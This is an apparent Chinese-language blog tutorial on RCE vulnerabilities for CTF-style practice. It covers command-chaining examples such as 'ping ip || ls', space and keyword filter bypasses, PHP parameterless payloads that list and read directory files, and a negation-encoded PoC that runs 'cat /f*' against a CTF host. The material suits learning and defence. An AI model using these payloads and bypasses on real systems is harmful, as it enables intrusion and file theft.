介绍
RCE漏洞,通过不安全的api接口,可以让攻击者远程在系统平台中执行恶意命令和代码。
场景实例
假设小明是攻击者,小红是受害者,小红的网站www.自动运维.com
存在RCE漏洞。那么小明有如下攻击手段
-
小明探测到网站
www.自动运维.com
一个ping命令接口存在RCE漏洞 -
小明在接口输入框中输入
ping ip || ls
,因为命令接口没有严格的过滤和限制,那么系统在执行ping命令后也会执行ls命令,照成目录泄露 -
小明在通过
ping ip || 下载脚本命令
等其他下载命令,下载恶意脚本,使小红的网站被小明控制
重点
RCE漏洞利用的两个前提条件:可控的参数,函数漏洞*
漏洞类型
-
远程命令执行漏洞
-
远程代码执行漏洞
-
无参函数rce
-
无回显rce
检测方法
-
检测url
-
检测危险函数
常见的命令拼接符
-
windows
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
-
linux
;没有任何逻辑关系的连接符
&& 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
| 上一条命令的输出,作为下一条命令参数 netstat -an|grep 3306
|| 左边的命令执行失败,右边的才执行 cat 3.txt || cat 2.txt
& 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &
rce过滤绕过
rce过滤空格绕过方法
-
用
${IFS}
代替空格 -
用
+
代替空格 -
用
%09
代替空格 -
用
%0b
代替空格 -
用
$IFS
代替空格 -
用
$IFS$9
代替空格 -
用
$IFS$1
代替空格 -
用 重定向符
<
或<<
来代替空格,eg:cat file
->cat<file
rce过滤字符绕过方法
-
用 \ 绕过 eg: cat -> c\at
-
用 ` 绕过 eg:cat -> ` cat `
-
用 '' 绕过 eg:cat -> c''at
-
用 $ 绕过(字符拼接法) eg:flag -> a=f;$alag
-
如果过滤了
;
字符串,可以用%0a,%0d,%0D%0A
来代替 -
用base编码绕过 eg:
cat命令代替
shell | 解释 |
---|---|
tac | 与cat相反,按行反向输出 |
more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
less | 与more类似 |
tail | 查看文件末几行 |
head | 查看文件首几行 |
nl | 在cat查看文件的基础上显示行号 |
od | 以二进制方式读文件,od -A d -c /flag转人可读字符 |
xxd | 以二进制方式读文件,同时有可读字符显示 |
sort | 排序文件 |
uniq | 报告或删除文件的重复行 |
file -f | 报错文件内容 |
grep | 过滤查找字符串,grep flag /flag |
fmt | 输出内容 |
diff | 比较文本不同,并且输出 |
awk | 输出处理后的文本 |
sed | |
column | |
comm |
正则表达式绕过
[ (空格) + .
会被正则表达式处理为_
无参数rce绕过
当php函数有如下的过滤条件时
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
注入的函数只能是没有参数的函数,eg:phpinfo(),var_dump()
php常用内置无参函数:
end() - 读取数组最后一个元素
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next() – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
phpinfo() -显示php详细内容
php数组操作常用无参函数
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
无参数payload
1. ?参数=var_dump(scandir(current(localeconv())));
2. highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
3. print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
4. show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
5. show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
6. show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
7. show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
无字母rce
常规的无字母RCE主要有三种方式:
-
异或
-
自增
-
取反
原理: 利用两次取反操作后得到的结果都是相同的,该方式需要对payload进行url编码
// 取反poc
<?php
$a = urlencode(~"system");
$b = urlencode(~"cat /f*");
$wllm ="(~$a)(~$b)";
// echo $b."\n";
$url = "http://node5.anna.nssctf.cn:28996/?wllm=$wllm;";
echo"poc是".$url;
?>
思维导图
资料
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)